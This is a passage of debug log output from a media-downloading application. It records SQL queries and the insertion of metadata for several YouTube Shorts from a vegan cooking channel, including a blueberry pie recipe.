s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:05.504 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:05.505 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [687] 20:28:05.505 [debug] Current batch of media processed. Will check again in 1000ms 20:28:06.506 [debug] Current batch of media processed. Will check again in 1000ms 20:28:07.507 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Want a couple great ideas of how to use up all those summer berries in your fridge? I just filmed 2 recipe videos for you about vegan and gluten free blueberry muffins and one about the easiest vegan and GF blueberry pie.\n\nSubscribe and stay tuned for these delicious videos! Thanks for your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-17 Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts/Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts [R66lM7UJ6qQ].NA", "id" => "R66lM7UJ6qQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/R66lM7UJ6qQ", "playlist_index" => 299, "timestamp" => 1658095209, "title" => "Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts", "upload_date" => "20220717"} 20:28:07.508 [debug] QUERY OK source="sources" db=0.5ms idle=924.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:07.509 [debug] QUERY OK source="sources" db=0.5ms idle=925.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:07.511 [debug] QUERY OK source="media_items" db=1.8ms idle=926.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-17 22:00:09Z], 1] 20:28:07.512 [debug] QUERY OK source="media_items" db=1.1ms idle=928.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Want a couple great ideas of how to use up all those summer berries in your fridge? I just filmed 2 recipe videos for you about vegan and gluten free blueberry muffins and one about the easiest vegan and GF blueberry pie.\n\nSubscribe and stay tuned for these delicious videos! Thanks for your support! Janelle", "Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts", "c8e905cd-ef47-4a1d-bdb2-16993439c8bc", 1, [], 14, false, "R66lM7UJ6qQ", "https://www.youtube.com/shorts/R66lM7UJ6qQ", 299, "/downloads/downloads/alec/Steamy Vegan/2022-07-17 Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts/Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts [R66lM7UJ6qQ].NA", false, false, true, 0, ~U[2022-07-17 22:00:09Z], ~U[2026-03-22 03:28:07Z], ~U[2026-03-22 03:28:07Z], "Want a couple great ideas of how to use up all those summer berries in your fridge? I just filmed 2 recipe videos for you about vegan and gluten free blueberry muffins and one about the easiest vegan and GF blueberry pie.\n\nSubscribe and stay tuned for these delicious videos! Thanks for your support! Janelle", "Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts", 1, 14, false, "R66lM7UJ6qQ", "https://www.youtube.com/shorts/R66lM7UJ6qQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-17 Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts/Dropping mad berries all week long 🫐🥧🤘#shorts #youtubeshorts [R66lM7UJ6qQ].NA", true, ~U[2022-07-17 22:00:09Z]] 20:28:07.513 [debug] QUERY OK source="sources" db=0.3ms idle=227.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:07.514 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:07.514 [debug] QUERY OK source="media_items" db=0.4ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [688] 20:28:07.515 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Double trouble! 🫐 Looking for ways to use your fresh blueberries? I just might have the PERFECT recipe for you! Vegan and gluten-free 😉\n\nDOUBLE BLUEBERRY PIE 🥧 This sweet treat is LITERALLY easy as pie 😜 Not to mention super yummy! This recipe is from BC Blueberries (gobluebc.ca/double-blueberry-pie) and is the most delicious thing! \n\nINGREDIENTS 🫐\n•1 frozen or homemade pie shell (9 inch)\n•1 jar (10 ounces) blueberry jam or fruit spread\n•1/4-teaspoon ground cinnamon\n•4 cups fresh blueberries\n•Sweetened (plant-based) whipped cream or vanilla ice cream (as needed)\n\nMETHOD 🫐\n•Following package or recipe directions, pre-bake pie shell; cool\n•In a microwaveable dish, combine blueberry jam and cinnamon\n•Microwave on high until mixture liquefies, about 1 minute\n•Stir in fresh blueberries\n•Spoon blueberry mixture into prepared shell\n•Chill. Serve with whipped cream or vanilla ice cream.\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "duration" => 44, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-17 DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts/DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts [wgm1CP3EYZY].NA", "id" => "wgm1CP3EYZY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/wgm1CP3EYZY", "playlist_index" => 300, "timestamp" => 1658079009, "title" => "DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts", "upload_date" => "20220717"} 20:28:07.516 [debug] QUERY OK source="sources" db=0.3ms queue=0.5ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:07.516 [debug] QUERY OK source="sources" db=0.3ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:07.518 [debug] QUERY OK source="media_items" db=1.5ms idle=3.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-17 17:30:09Z], 1] 20:28:07.520 [debug] QUERY OK source="media_items" db=1.2ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Double trouble! 🫐 Looking for ways to use your fresh blueberries? I just might have the PERFECT recipe for you! Vegan and gluten-free 😉\n\nDOUBLE BLUEBERRY PIE 🥧 This sweet treat is LITERALLY easy as pie 😜 Not to mention super yummy! This recipe is from BC Blueberries (gobluebc.ca/double-blueberry-pie) and is the most delicious thing! \n\nINGREDIENTS 🫐\n•1 frozen or homemade pie shell (9 inch)\n•1 jar (10 ounces) blueberry jam or fruit spread\n•1/4-teaspoon ground cinnamon\n•4 cups fresh blueberries\n•Sweetened (plant-based) whipped cream or vanilla ice cream (as needed)\n\nMETHOD 🫐\n•Following package or recipe directions, pre-bake pie shell; cool\n•In a microwaveable dish, combine blueberry jam and cinnamon\n•Microwave on high until mixture liquefies, about 1 minute\n•Stir in fresh blueberries\n•Spoon blueberry mixture into prepared shell\n•Chill. Serve with whipped cream or vanilla ice cream.\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts", "4e99f4f2-32a6-4714-a29d-2d9a37a4ca8a", 1, [], 44, false, "wgm1CP3EYZY", "https://www.youtube.com/shorts/wgm1CP3EYZY", 300, "/downloads/downloads/alec/Steamy Vegan/2022-07-17 DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts/DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts [wgm1CP3EYZY].NA", false, false, true, 1, ~U[2022-07-17 17:30:09Z], ~U[2026-03-22 03:28:07Z], ~U[2026-03-22 03:28:07Z], "Double trouble! 🫐 Looking for ways to use your fresh blueberries? I just might have the PERFECT recipe for you! Vegan and gluten-free 😉\n\nDOUBLE BLUEBERRY PIE 🥧 This sweet treat is LITERALLY easy as pie 😜 Not to mention super yummy! This recipe is from BC Blueberries (gobluebc.ca/double-blueberry-pie) and is the most delicious thing! \n\nINGREDIENTS 🫐\n•1 frozen or homemade pie shell (9 inch)\n•1 jar (10 ounces) blueberry jam or fruit spread\n•1/4-teaspoon ground cinnamon\n•4 cups fresh blueberries\n•Sweetened (plant-based) whipped cream or vanilla ice cream (as needed)\n\nMETHOD 🫐\n•Following package or recipe directions, pre-bake pie shell; cool\n•In a microwaveable dish, combine blueberry jam and cinnamon\n•Microwave on high until mixture liquefies, about 1 minute\n•Stir in fresh blueberries\n•Spoon blueberry mixture into prepared shell\n•Chill. Serve with whipped cream or vanilla ice cream.\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts", 1, 44, false, "wgm1CP3EYZY", "https://www.youtube.com/shorts/wgm1CP3EYZY", "/downloads/downloads/alec/Steamy Vegan/2022-07-17 DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts/DOUBLE BLUEBERRY PIE 🥧 🫐 4-ingredients, vegan and gluten free! 🌱 #shorts #youtubeshorts [wgm1CP3EYZY].NA", true, ~U[2022-07-17 17:30:09Z]] 20:28:07.520 [debug] QUERY OK source="sources" db=0.4ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:07.521 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:07.522 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [689] 20:28:07.522 [debug] Current batch of media processed. Will check again in 1000ms 20:28:08.523 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I've got 3 different pie recipes for you that you can make vegan or gluten free. Subscribe and stay tuned for my 3rd pie video all about the easiest and quickest way to make a blueberry pie this season.\n\nHere are the first 2 pie recipe videos...\nChocolate Avocado Cream Pie: https://youtu.be/8GSEsZWhkhs\nStrawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n\nThanks for all your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-17 I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts/I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts [CRJtaSa7UGU].NA", "id" => "CRJtaSa7UGU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/CRJtaSa7UGU", "playlist_index" => 301, "timestamp" => 1658073608, "title" => "I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts", "upload_date" => "20220717"} 20:28:08.524 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:08.525 [debug] QUERY OK source="sources" db=0.6ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:08.528 [debug] QUERY OK source="media_items" db=2.9ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-17 16:00:08Z], 1] 20:28:08.530 [debug] QUERY OK source="media_items" db=1.5ms idle=1006.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've got 3 different pie recipes for you that you can make vegan or gluten free. Subscribe and stay tuned for my 3rd pie video all about the easiest and quickest way to make a blueberry pie this season.\n\nHere are the first 2 pie recipe videos...\nChocolate Avocado Cream Pie: https://youtu.be/8GSEsZWhkhs\nStrawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n\nThanks for all your support! Janelle", "I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts", "51655871-ba4b-4ae9-bcea-70212113dd4d", 1, [], 13, false, "CRJtaSa7UGU", "https://www.youtube.com/shorts/CRJtaSa7UGU", 301, "/downloads/downloads/alec/Steamy Vegan/2022-07-17 I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts/I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts [CRJtaSa7UGU].NA", false, false, true, 2, ~U[2022-07-17 16:00:08Z], ~U[2026-03-22 03:28:08Z], ~U[2026-03-22 03:28:08Z], "I've got 3 different pie recipes for you that you can make vegan or gluten free. Subscribe and stay tuned for my 3rd pie video all about the easiest and quickest way to make a blueberry pie this season.\n\nHere are the first 2 pie recipe videos...\nChocolate Avocado Cream Pie: https://youtu.be/8GSEsZWhkhs\nStrawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n\nThanks for all your support! Janelle", "I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts", 1, 13, false, "CRJtaSa7UGU", "https://www.youtube.com/shorts/CRJtaSa7UGU", "/downloads/downloads/alec/Steamy Vegan/2022-07-17 I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts/I might just give you a bite of the sweetest pie 🤤🥧❤️#shorts #youtubeshorts [CRJtaSa7UGU].NA", true, ~U[2022-07-17 16:00:08Z]] 20:28:08.531 [debug] QUERY OK source="sources" db=0.4ms idle=243.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:08.532 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:08.532 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [690] 20:28:08.532 [debug] Current batch of media processed. Will check again in 1000ms 20:28:09.533 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you like blueberries and pie then you need to stay tuned for a full recipe video dropping real soooooon! 🫐🥧", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-17 My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts/My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts [bvaYJ-u5g4A].NA", "id" => "bvaYJ-u5g4A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bvaYJ-u5g4A", "playlist_index" => 302, "timestamp" => 1658016019, "title" => "My pie’s heroic journey to my belly… PART 2 🥧🫐😋 #youtubeshorts #shorts", "upload_date" => "20220717"} 20:28:09.534 [debug] QUERY OK source="sources" db=0.6ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:09.535 [debug] QUERY OK source="sources" db=0.6ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:09.537 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-17 00:00:19Z], 1] 20:28:09.539 [debug] QUERY OK source="media_items" db=1.3ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 